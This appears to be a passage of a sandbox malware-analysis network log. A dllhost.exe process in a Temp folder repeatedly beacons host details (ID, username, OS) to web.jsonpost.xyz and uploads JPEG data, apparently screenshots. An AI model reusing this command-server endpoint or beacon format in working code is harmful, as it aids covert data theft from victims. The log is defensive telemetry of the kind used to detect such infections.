Nov 29, 2024 01:52:40.250394106 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:40.250420094 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:40.370496035 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:40.370589972 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:40.370667934 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:40.370763063 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:40.370827913 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:40.490715027 CET	7416	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:40.490813971 CET	9888	OUT	Data Raw: 18 1e f5 f1 d4 f2 0a f4 6b cd c5 a7 17 b3 fd 3d 4f b9 8f 11 e1 a7 46 1c e9 a9 75 5f af a7 e2 7a 5d cb 28 8a 72 c4 60 48 b9 cf 6f bb 55 35 d6 56 f0 de a0 54 82 3c 86 e4 7d 2b 93 b8 f1 9c 73 68 b7 10 c1 1c d6 d7 ae 55 91 8b f9 8b 90 57 3c 9e 7a 0a Data Ascii: k=OFu_z](r`HoU5VT<}+shUW<z`~e~e&fN+;8'{WQE\|:U\k!u<N1czaFurA]Q]QQCG'T`g\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49787	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:41.671772003 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49788	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:41.782862902 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:41.783000946 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:41.783000946 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:41.783072948 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:41.903008938 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:41.903028965 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:41.903049946 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:41.903064013 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:41.903162956 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:41.903196096 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:41.903270006 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49789	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:43.052773952 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49790	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:43.254591942 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:43.254626036 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:43.254683018 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:43.254707098 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:43.374886990 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:43.374980927 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:43.375066042 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:43.375081062 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:43.375137091 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:43.375165939 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:43.375300884 CET	6180	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49791	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:44.515260935 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49792	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:44.669003963 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:44.669038057 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:44.669097900 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:44.669125080 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:44.789112091 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:44.789135933 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:44.789206028 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:44.789272070 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:44.789272070 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:44.789376974 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:44.789482117 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
